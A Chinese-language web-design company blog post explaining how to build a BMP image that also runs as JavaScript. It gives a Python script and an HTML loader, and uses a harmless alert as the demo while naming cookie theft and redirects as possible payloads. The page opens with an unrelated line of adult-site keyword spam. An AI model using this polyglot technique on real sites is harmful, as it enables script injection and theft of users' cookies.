自拍亚洲一区欧美另类,亚洲成人影院,亚洲午夜久久久久妓女影院,最近中文字幕高清中文字幕无,亚洲熟妇av一区二区三区漫画

網(wǎng)絡(luò)建站知識

精準傳達 ? 價值共享

洞悉互聯(lián)網(wǎng)前沿資訊,探尋網(wǎng)站營銷規(guī)律

圖片文件黑客攻擊原理

作者:狐靈科技 | 2020-01-12 17:30 |點擊:

這里以位圖 BMP 為例演示圖片文件黑客攻擊的原理及實現(xiàn)。

 

創(chuàng)建位圖

創(chuàng)建或者隨便找一個位圖,使用編輯器(本文使用 UltraEdit 作為編輯查看工具)打開,可看到 16進制數(shù)。

BMP 格式中,前 2 字節(jié)是用于識別位圖文件格式的字段,可以看到它對應(yīng) ASCII 碼的 BM只要該字段正確,圖片文件就能被正確識別處理,而無論其余數(shù)據(jù)是否損壞。隨后 4 字節(jié)用于指示文件大小,單位為字節(jié)。

靈夢.bmp

靈夢.bmp

 

 

插入腳本

在此基礎(chǔ)上,我們就可以對圖片動一些手腳了,我們可以在圖片中插入一段 JS 腳本。

比如獲取該網(wǎng)頁cookie的腳本或者重定向到目標網(wǎng)站的腳本。這里我們僅作效果演示,所以用了彈框:

window.onload = alert("Image hacked!");
 
JavaScript

然后我們將腳本插入到圖片中,具體步驟如下:

  1. 2A 2F(即 JS 多行注釋中*/的十六進制碼)替換為00 00,防止語法錯誤干擾腳本運行
  2. 在圖片的前兩個字節(jié)后插入2F 2A( JS 多行注釋中/*的十六進制碼)
  3. 在圖片末尾插入FF 2A 2F 3D 31 3B(即*/=1;),其中=1;用于結(jié)束開頭的BM。
  4. 在圖片最后插入你寫好的腳本的十六進制碼。

 

2
2
2
4
4
4

 

以上操作可以通過 Python 腳本簡單實現(xiàn):

# -*- coding:utf-8 -*-

src_img_name = '靈夢.bmp'
rst_img_name = 'hackimg.bmp'
append_js_name = 'cookies.js'

with open(src_img_name,'rb') as f:
    buff = f.read()
    buff = buff.replace(b'\x2A\x2F',b'\x00\x00')

with open(rst_img_name,'wb') as f:
    f.write(buff)
    f.seek(2)
    f.write(b'\x2F\x2A')
    f.seek(0,2)
    f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
    f.write(open(append_js_name,'rb').read())
 
Python

最后我們得到插入了惡意代碼的位圖文件:
hackimg.bmp

hackimg.bmp

 

 

瀏覽器運行

創(chuàng)建index.html文件,內(nèi)容如下:

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>圖片黑客攻擊</title>
</head>
<body>
    <img src="hackimg.bmp" alt="博麗靈夢"><!-- 這里我們看到圖片還能正常顯示 -->
    <script src="hackimg.bmp"></script><!-- 腳本也成功執(zhí)行了 -->
</body>
</html>
 
HTML

運行效果如下:
15778547433291.png

15778547433291.png

 

其他圖片格式也可以通過類似的操作實現(xiàn)。

 
如沒特殊注明,文章均為狐靈科技原創(chuàng),轉(zhuǎn)載請注明?? "圖片文件黑客攻擊原理
多一份免費策劃方案,總有益處。

請直接添加技術(shù)總監(jiān)微信聯(lián)系咨詢

網(wǎng)站設(shè)計 品牌營銷

多一份參考,總有益處

聯(lián)系狐靈科技,免費獲得專屬《策劃方案》及報價

咨詢相關(guān)問題或預(yù)約面談,可以通過以下方式與我們聯(lián)系

業(yè)務(wù)熱線:15082661954 / 大客戶專線:15523356218